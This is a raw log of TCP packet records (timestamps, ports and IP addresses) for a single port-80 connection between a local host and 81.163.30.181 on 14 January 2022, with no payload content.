Jan 14, 2022 21:05:48.807018042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807024002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807039022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807076931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807077885 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807106018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807132959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807154894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807158947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807188034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807188988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807215929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807241917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807265043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807275057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807308912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807313919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807346106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807374001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807399988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807399988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807425976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807429075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807459116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807485104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807506084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807513952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807535887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807543039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807576895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807605982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807630062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807634115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807655096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807663918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807697058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807723999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807744026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807750940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807763100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807780027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807807922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807828903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807837009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807864904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807892084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807918072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807919979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807946920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.807949066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.807975054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.808002949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.808006048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.808031082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.808078051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.812952995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.840107918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.840163946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.840310097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.840526104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.840931892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.840976000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.841001034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.841011047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.841046095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.841078043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.841099024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.841110945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.841125965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.842130899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.842166901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.842199087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.842216015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.842231989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.842246056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.842356920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.867613077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867680073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867719889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867749929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.867759943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867780924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.867799997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867837906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867862940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.867877007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867916107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867930889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.867957115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.867999077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868040085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868053913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868079901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868120909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868135929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868160963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868165970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868201017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868240118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868254900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868282080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868323088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868338108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868360996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868401051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868438959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868454933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868478060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868504047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868520021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868558884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868601084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868607998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868642092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868680954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868705034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868720055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868735075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868761063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868801117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868839979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868856907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868879080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868920088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868937969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868959904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.868971109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.868999958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869043112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869067907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869082928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869122028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869160891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869182110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869199991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869220018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869241953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869282007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869296074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869321108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869359970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869374037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869400024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869437933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869456053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869482040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869522095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869561911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869579077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869605064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869642973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869657993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869682074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869688988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869723082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869760990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869776011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869801044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869839907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869884968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869910955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869952917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.869967937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.869995117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870033979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870073080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870081902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870112896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870151043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870162964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870192051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870201111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870232105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870275974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870286942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870316982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870354891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870377064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870393991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870434046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870471001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870485067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870511055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870549917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870563984 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870589972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870637894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870646954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870685101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870692968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870727062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870767117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.870781898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.870806932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.871339083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.871356010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.874690056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.898256063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.898319006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.898417950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.899271965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.899312019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.899352074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.899369955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.899394035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.899435043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.899450064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.900392056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.900433064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.900465012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.900474072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.900516033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.900556087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.900583029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.900613070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.930408001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930450916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930481911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930512905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930545092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930583000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930624962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930639982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.930666924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930699110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.930706978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930733919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.930747986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930788994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930826902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930855036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.930867910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930908918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930948973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.930949926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930990934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.930996895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931029081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931046963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931070089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931111097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931149960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931180000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931190968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931200027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931231976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931272984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931298971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931314945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931354046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931377888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931395054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931436062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931473017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931500912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931514025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931555033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931590080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931595087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931608915 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931638002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931677103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931718111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931734085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931757927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931797028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931818008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931835890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931853056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931878090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931919098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931960106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.931977987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.931998968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932013988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932039976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932084084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932111025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932123899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932164907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932179928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932205915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932245970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932261944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932286024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932323933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932349920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932364941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932406902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932444096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932462931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932483912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932497978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932524920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932565928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932588100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932615042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932653904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932692051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932732105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932751894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932765961 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932770014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932812929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932852030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932866096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932893038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932934046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932950020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.932974100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.932988882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933016062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933056116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933069944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933094025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933136940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933154106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933177948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933219910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933260918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933279037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933301926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933342934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933357954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933382034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933419943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933437109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933460951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933485031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933501005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933542013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933556080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933583975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933624029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.933649063 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.933665991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.934084892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.956304073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.956348896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.956444025 CET	49882	80	192.168.2.5	81.163.30.181
